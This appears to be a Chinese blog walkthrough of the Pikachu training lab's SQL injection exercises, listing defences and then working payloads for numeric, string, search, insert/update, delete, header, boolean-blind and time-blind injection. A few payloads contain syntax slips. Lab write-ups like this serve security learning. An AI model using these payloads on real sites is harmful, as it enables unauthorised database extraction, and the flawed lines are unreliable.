pikachu--SQL注入
Sql注入
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
Sql注入攻击流程:
1. 注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
2. 信息获取
通过注入点取得期望得到的数据
1. 环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2. 数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
3. 获取权限 获取操作系统权限:通过数据库执行shell,上传木马
Get方式中使用url提交注入数据;post方式中使用抓包工具修改post数据部分提交注入
注入方法可以参照之前做sqli-labs实验的方法:https://www.cnblogs.com/7-58/p/12286731.html
防范措施:
代码层面:
- 1. 对输入进行严格的转义和过滤(mysqli_real_escape_string)
- 2. 使用预处理和参数化(parameterized)
网络层面:
- 1. 通过WAF设备启用sql inject注入策略(类似防护系统)
- 2. 云端防护(360网站卫士,阿里云)
SQL数字型注入(post)
提交 抓包发送到repeater里 修改id后面给他增加sql语句
可以看到增加or 1=1之后,就把id全都列出来了
可以看一下源码 这里直接post请求直接把id带入到sql语句中,没有做任何处理,所以在id这里存在sql注入漏洞
SQL字符型注入(get)
kobe' or 1=1#'
这里输入kobe 只出现这个
因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试,加单引号、双引号、括号、以及他们的组合,这里需要注意闭合后面注释
SQL搜索型注入
实际上sql语句是 select username,id,email from member where username like '%$name%'
用了一个like ‘%xxxx%’
所以我们可以用 xxx%’ or 1=1#
成功闭合,将所有用户信息拿出
SQL xx型注入
Sql语句为:select id,email from member where username=('$name')
相同的道理闭合:xx’) or 1=1#
Insert/updata注入(使用报错注入)
Sql语句:insert into member(username,pw,sex,phonenum,email,address)values(‘xx’,11,1,2,3,4);
基于insert下的报错
Gxy’or updatexml(1,concat(0x7e,database()),0)or ‘
基于delete下的报错
1 or updatexml(1,concat(0x7e,database()),0)
基于floor()
Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#
构造语句:
insert into member(username,pw,sex,phonenum,email,address)values(‘1’or updatexml(1,concat(0x7e,database()),0) or ’’ ,11,1,2,3,4);
出来报错
Delete注入
先删除一个留言 抓包 发送给到repeater
通过看源码id是一个数字型
在repeater里面修改id 并转码
在右边的界面拉到最后就会有报错信息的显示
http头注入
有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。
登录 admin 123456
抓包 发送到repeater 修改user-agent 在右边最下面会显示出信息
firefox’or updatexml(1,concat(0x7e,database()),0)or ‘
盲注
基于boolean盲注
表现:
1.没有报错信息
2.结果都只显示两种情况(0或1)
3.在正确的输入下,输入and 1=1/and 1=2可以判断
<实际上你要自己一个一个的去测>
输入 Kobe’ and ascii(substr(database(),1,1))>113#
kobe' and ascii(substr(database(),1,1,))=112# 正确输出
将database()换成
select table_name from information_schema.tables where table_schema=database() limit 0, 1
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)
,1,1,))>112# 这样构造还是可以的
基于时间的盲注
Kobe’ and sleep(5)# 页面会停顿5秒
通过这个可以判断构造语句是否正确
Kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#
猜测第一个字符是否是a (a-z)
我们可以将database()换成select table_name from information_schema.tables where table_schema=database() limit 0, 1
都是可以的,需要灵活的掌握sql注入的一些构造语句。